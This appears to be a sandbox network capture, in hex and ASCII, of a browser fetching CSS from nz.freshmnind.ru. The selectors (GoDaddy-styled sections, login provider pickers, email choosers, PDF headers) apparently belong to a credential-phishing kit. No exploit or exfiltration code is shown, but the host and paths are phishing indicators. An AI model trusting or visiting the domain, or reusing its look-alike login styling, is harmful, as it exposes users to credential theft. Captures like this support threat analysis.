2025-03-25 17:08:17 UTC	214	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-allow-origin: * vary: Origin date: Tue, 25 Mar 2025 17:08:17 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	1354	OUT	GET /56ffUPB0UvxyIJWyr6720 HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:18 UTC	1085	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:18 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="56ffUPB0UvxyIJWyr6720" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mR7yZ5bPt%2BV7dPhfn3lob0Wj9vcYr4yvfNSBDVK7e3Q3pB700M80KN%2BWp%2BMEQXh9ArqeGTuc%2Bhp4IsND92Y2239i0HRHcjYjRg%2FpDDh6dcboBGMmlu%2BUAp7lFl5U"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=1635&min_rtt=1580&rtt_var=704&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2262&delivery_rate=1428712&cwnd=251&unsent_bytes=0&cid=4ec4be5425128d9a&ts=80&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9260026c7a8a4207-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=104890&min_rtt=104764&rtt_var=22303&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1926&delivery_rate=35387&cwnd=227&unsent_bytes=0&cid=dc09b31ec1fcc9c4&ts=468&x=0"
2025-03-25 17:08:18 UTC	284	IN	Data Raw: 33 37 62 35 0d 0a 23 61 75 74 68 63 61 6c 6c 64 65 73 63 2c 23 73 65 63 74 69 6f 6e 73 2c 2e 74 65 78 74 2d 6d 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 39 33 37 35 72 65 6d 7d 2a 2c 69 6e 70 75 74 5b 74 79 70 65 3d 72 61 64 69 6f 5d 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 61 6c 65 72 74 2c 2e 72 61 64 69 6f 20 6c 61 62 65 6c 2c 2e 72 6f 77 2e 74 69 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 23 73 65 63 74 69 6f 6e 73 2c 2e 69 6e 70 75 74 2d 67 72 6f 75 70 2d 61 64 64 6f 6e 2c 2e 74 61 62 6c 65 20 2e 74 61 62 6c 65 2d 63 65 6c 6c 2c 69 6d 67 7b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 Data Ascii: 37b5#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 61 64 65 72 20 23 70 61 67 65 4e 61 6d 65 2c 2e 72 6f 77 2e 74 69 6c 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 61 63 74 69 76 65 2c 2e 72 6f 77 2e 74 69 6c 65 3a 6e 6f 74 28 2e 6e 6f 2d 70 69 63 6b 29 3a 68 6f 76 65 72 2c 69 6e 70 75 74 7b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 7d 2e 70 2c 2e 73 75 62 74 69 74 6c 65 2c 2e 74 65 78 74 2d 62 6f 64 79 2c 2e 74 65 78 74 2d 73 75 62 74 69 74 6c 65 2c 68 34 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2a 2c 2e 74 65 78 74 2d 74 69 74 6c 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 53 65 67 6f 65 20 55 49 22 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 22 4c 75 63 69 64 61 20 47 72 61 6e 64 65 22 2c 52 6f 62 6f 74 6f 2c 45 62 72 69 6d 61 2c 22 4e 69 72 6d 61 6c Data Ascii: ader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmal
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 31 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 31 3b 68 65 69 67 68 74 3a 35 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 32 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 32 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 34 2e 35 33 31 32 35 69 6e 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 62 61 63 6b 63 6f 6e 74 61 69 6e 65 72 3e 2e 62 67 33 7b 67 72 69 64 2d 61 72 65 61 3a 62 67 33 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 77 69 64 74 68 3a 39 37 31 2e 32 Data Ascii: 1{grid-area:bg1;height:50px}#sections_doc .pdfbackcontainer>.bg2,#sections_pdf .pdfbackcontainer>.bg2{grid-area:bg2;height:auto;width:4.53125in}#sections_doc .pdfbackcontainer>.bg3,#sections_pdf .pdfbackcontainer>.bg3{grid-area:bg3;height:auto;width:971.2
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 39 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 34 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 39 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 38 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 35 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 31 32 30 64 65 67 29 3b 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 2d 2e 37 73 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 64 73 2d 73 70 69 6e 6e 65 72 20 64 69 76 3a 6e 74 68 2d 63 68 69 6c 64 28 36 29 7b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f Data Ascii: nimation-delay:-.9s}#sections_pdf .lds-spinner div:nth-child(4){transform:rotate(90deg);animation-delay:-.8s}#sections_pdf .lds-spinner div:nth-child(5){transform:rotate(120deg);animation-delay:-.7s}#sections_pdf .lds-spinner div:nth-child(6){transform:ro
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 64 65 72 7b 68 65 69 67 68 74 3a 33 2e 31 32 35 70 63 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 74 6f 70 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 63 6f 6c 6f 72 3a 23 66 66 66 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 39 37 30 31 30 31 3b 7a 2d 69 6e 64 65 78 3a 31 30 30 30 30 30 30 30 30 30 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 68 65 61 64 65 72 20 23 70 64 66 66 61 76 69 63 6f 6e 49 6d 67 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 62 6f 74 Data Ascii: der{height:3.125pc;position:fixed;top:0;width:100%;color:#fff;display:flex;justify-content:space-between;background-color:#970101;z-index:1000000000}#sections_doc .pdfheader #pdffaviconImg,#sections_pdf .pdfheader #pdffaviconImg{margin-top:auto;margin-bot
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 34 29 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 31 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 31 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 70 61 63 65 6c 6f 67 69 6e 32 7b 67 72 69 64 2d 61 72 65 61 3a 73 70 61 63 65 6c 6f 67 69 6e 32 7d 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 69 64 65 6c 65 62 6c 65 73 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 Data Ascii: 4)}#sections_doc .login .spacelogin1,#sections_pdf .login .spacelogin1{grid-area:spacelogin1}#sections_pdf .login .spacelogin2{grid-area:spacelogin2}#sections_pdf .login .sidelebles{display:flex;flex-direction:column;justify-content:center;width:100%;heig
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 6f 76 69 64 65 72 20 2e 69 6e 66 6f 73 70 61 6e 3e 2a 7b 63 6f 6c 6f 72 3a 23 66 66 66 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 68 6f 73 65 65 6d 61 69 6c 73 7b 77 69 64 74 68 3a 33 36 30 70 78 3b 68 65 69 67 68 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 3a 33 30 70 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 63 Data Ascii: ovider .infospan>*{color:#fff;font-family:'Playfair Display',serif}#sections_doc .login .selectProvider .choseemails,#sections_pdf .login .selectProvider .choseemails{width:360px;height:auto;margin:30px;display:flex}#sections_doc .login .selectProvider .c
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 64 66 20 2e 6c 6f 67 69 6e 20 2e 73 65 6c 65 63 74 50 72 6f 76 69 64 65 72 20 2e 73 65 72 76 69 63 65 6c 61 62 65 6c 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 34 39 38 29 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 50 6c 61 79 66 61 69 72 20 44 69 73 70 6c 61 79 27 2c 73 65 72 69 66 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 64 6f 63 6f 76 65 72 6c 61 79 2c 23 73 65 63 74 69 6f 6e 73 5f 70 64 66 20 2e 70 64 66 6f 76 65 72 6c 61 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 Data Ascii: df .login .selectProvider .servicelabel{color:rgba(255,255,255,.498);text-align:center;font-size:13px;font-family:'Playfair Display',serif}#sections_doc .docoverlay,#sections_pdf .pdfoverlay{width:100%;height:100vh;position:fixed;background-color:rgba(0,0
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 63 73 73 2d 36 30 39 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 2d 36 34 30 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 34 70 78 3b 6d 61 72 67 69 6e 3a 32 35 70 78 20 30 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 7d 23 73 65 63 74 69 6f 6e 73 5f 64 6f 63 20 2e 61 63 74 69 6f 6e 73 52 69 67 68 74 2d 36 34 32 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 30 70 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b Data Ascii: ctions_doc .css-609{display:flex}#sections_doc .actions-640{position:relative;width:100%;min-height:32px;line-height:24px;margin:25px 0 0;font-size:0px}#sections_doc .actionsRight-642{align-items:center;display:flex;font-size:0px;justify-content:flex-end;
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 65 73 20 73 68 6f 77 2d 66 72 6f 6d 2d 6c 65 66 74 7b 66 72 6f 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 2d 32 30 30 70 78 29 3b 6f 70 61 63 69 74 79 3a 30 7d 74 6f 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 58 28 30 29 3b 6f 70 61 63 69 74 79 3a 31 7d 7d 23 73 65 63 74 69 6f 6e 73 20 2e 6c 6f 61 64 69 6e 67 2d 63 6f 6e 74 61 69 6e 65 72 7b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 6f 74 74 6f 6d 3a 34 30 70 78 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 31 31 30 70 78 29 3b 72 69 67 68 74 3a 36 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 23 73 65 63 74 Data Ascii: es show-from-left{from{transform:translateX(-200px);opacity:0}to{transform:translateX(0);opacity:1}}#sections .loading-container{display:flex;align-items:center;width:100%;height:100%;bottom:40px;width:calc(100% + 110px);right:60px;position:relative}#sect

Timestamp	Bytes transferred	Direction	Data
2025-03-25 17:08:17 UTC	1351	OUT	GET /xyQJjrmbb8pq3Pgh30 HTTP/1.1 Host: nz.freshmnind.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://nz.freshmnind.ru/IBAPKAFDSPMDLVCPIPCLJYXYDGd2jsuycmnjcqbg9i281l0inquulm?HKUKGRUJBWIOGKPMR Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InNaM2Q2Ri9KYTBQTEIyL2g2WGNON2c9PSIsInZhbHVlIjoiQVFOMFBOb09EOXAwYVJacGErOThYcytxZlQ2SXBrMWhwS3E5TlV4LzR6bHMraFRaSnVKUXBTWDJJeW03ZlpZU1RUejRkMUxjNlZSYWpBMkRaQlFoQlVnZHRJenc5S2RTUmFtcVNlVUM1NkpWQUZ6WGtvQXk4QkR2SDNIeUQ3MXAiLCJtYWMiOiI4NDdhYTE0ZjI5MmEzNzdjNWIyMGE1ZjIxODY1NmRhNDZjYTE1NjczNmJjMmNkMTJhOGMxYzM2YjdiMzJiZWRmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ilh0bHVDeG9MV0VlT1FEVFdhSzlQcnc9PSIsInZhbHVlIjoicHNLbFlZbVg3akRMOXl1T1ZBQ2JSOVdReTNlMDVROGdWRlArWE1Sc0NJc2lYaGhPUmhhTWRVTU1XblVPVWxVZTJ0YzMzMytPckx0Q2FtMjRqMnlFenI1Qkw2c3YzVktSYXc3YUxCMDJsZmthWGRHMnpNbkQ4aGxSdnNJZmFiWVYiLCJtYWMiOiIyYjE4ODMxYzRiNjFkZGY4YWUyYjkyOGZlYzhkMmNlZTU4NWMwYzI4NmI2NTM5NGVmNzM3MTg4ZGU0Y2EzYmJlIiwidGFnIjoiIn0%3D
2025-03-25 17:08:18 UTC	1080	IN	HTTP/1.1 200 OK Date: Tue, 25 Mar 2025 17:08:18 GMT Content-Type: text/css;charset=UTF-8 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="xyQJjrmbb8pq3Pgh30" cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FKOeLMLrjs0H0O%2Bv4SHsLv%2BecVmtY%2Bed33krX4taWiSvQgUKPmuN5PvigtzbtqmQNd1rxwE0Lk6ghhk8Hb%2F5zPgvtC0Ein8DBrq9KFETQpguW%2F4XL5NBGC1ENot9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=4556&min_rtt=4540&rtt_var=1735&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2260&delivery_rate=619730&cwnd=251&unsent_bytes=0&cid=cff6f8c627e3bb7c&ts=99&x=0" vary: accept-encoding Server: cloudflare CF-RAY: 9260026c89ca424f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=105036&min_rtt=104842&rtt_var=22419&sent=6&recv=9&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1923&delivery_rate=35320&cwnd=217&unsent_bytes=0&cid=d6830959bbf895b0&ts=507&x=0"
2025-03-25 17:08:18 UTC	289	IN	Data Raw: 31 36 33 37 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 7b 0d 0a 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 67 64 73 68 65 72 70 61 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0d 0a 7d 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 32 72 71 61 70 77 2c 23 30 30 30 29 3b 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 37 69 66 35 70 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 Data Ascii: 1637#sections_godaddy {font-family: gdsherpa !important;}#sections_godaddy a { color: var(--ux-2rqapw,#000); -webkit-text-decoration: var(--ux-1f7if5p,underline); text-decoration: var(--ux-1f7if5p,underline); background-color: transpar
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 20 7b 0d 0a 20 20 20 20 66 6c 65 78 3a 20 31 20 31 20 30 25 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 61 3a 68 6f 76 65 72 20 7b 0d 0a 2f 2a 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 31 6a 38 37 76 76 6e 2c 23 66 66 66 29 3b 2a 2f 0d 0a 20 20 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 75 78 2d 31 66 74 30 6b 68 6d 2c 75 6e 64 65 72 6c 69 6e 65 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 73 76 67 20 7b 0d 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0d 0a 20 20 76 Data Ascii: { flex: 1 1 0%;}#sections_godaddy a:hover {/* color: var(--ux-1j87vvn,#fff);*/ -webkit-text-decoration: var(--ux-1ft0khm,underline); text-decoration: var(--ux-1ft0khm,underline);}#sections_godaddy svg { overflow: hidden; v
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 70 61 64 64 69 6e 67 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 20 20 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 73 69 7a 65 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 2d 7a 64 30 73 65 72 2c 33 29 20 2a 20 76 61 72 28 2d 2d 75 78 2d 31 73 62 66 69 67 38 2c 2e 32 35 72 65 6d 29 20 2a 20 76 61 72 28 2d 2d 75 78 53 70 61 63 65 2d 2d 67 61 70 2d 61 64 6a 75 73 74 6d 65 6e 74 2c 31 29 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 73 70 61 63 65 2e 75 78 2d 73 70 61 63 65 2d 2d 69 6e 6c 69 6e 65 3a 65 6d 70 74 79 20 7b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 0d 0a 20 20 69 6e 6c 69 6e 65 2d 73 69 7a Data Ascii: rem) * var(--uxSpace--padding-adjustment,1)); --uxSpace--gap-size: calc(var(--ux-zd0ser,3) * var(--ux-1sbfig8,.25rem) * var(--uxSpace--gap-adjustment,1));}#sections_godaddy .ux-space.ux-space--inline:empty { display: inline-flex; inline-siz
2025-03-25 17:08:18 UTC	1369	IN	Data Raw: 70 76 32 2c 31 72 65 6d 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 30 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 32 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 2d 31 29 20 76 61 72 28 2d 2d 75 78 2d 6f 6c 30 37 30 33 2c 2f 29 20 76 61 72 28 2d 2d 75 78 2d 37 73 34 70 33 76 2c 31 2e 31 32 35 29 29 3b 0d 0a 20 20 2d 2d 75 78 54 65 78 74 2d 2d 66 6f 6e 74 53 69 7a 65 31 3a 20 63 61 6c 63 28 76 61 72 28 2d 2d 75 78 54 65 78 74 2d 2d 66 Data Ascii: pv2,1rem)); --uxText--fontSize-1: calc(var(--uxText--fontSize0) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize-2: calc(var(--uxText--fontSize-1) var(--ux-ol0703,/) var(--ux-7s4p3v,1.125)); --uxText--fontSize1: calc(var(--uxText--f
2025-03-25 17:08:18 UTC	1299	IN	Data Raw: 2d 2d 75 78 2d 63 61 6f 30 36 62 2c 23 66 66 66 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 75 78 2d 39 37 68 33 76 6c 2c 23 64 33 64 33 64 33 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 75 78 2d 31 39 77 72 33 6b 71 2c 31 70 78 29 3b 0d 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 76 61 72 28 2d 2d 75 78 2d 32 6a 75 62 65 73 2c 32 70 78 29 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 63 74 69 6f 6e 73 5f 67 6f 64 61 64 64 79 20 2e 75 78 2d 61 6c 65 72 74 20 61 5b 68 72 65 66 5d 20 7b 0d 0a 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0d 0a 7d 0d 0a 0d 0a 23 73 65 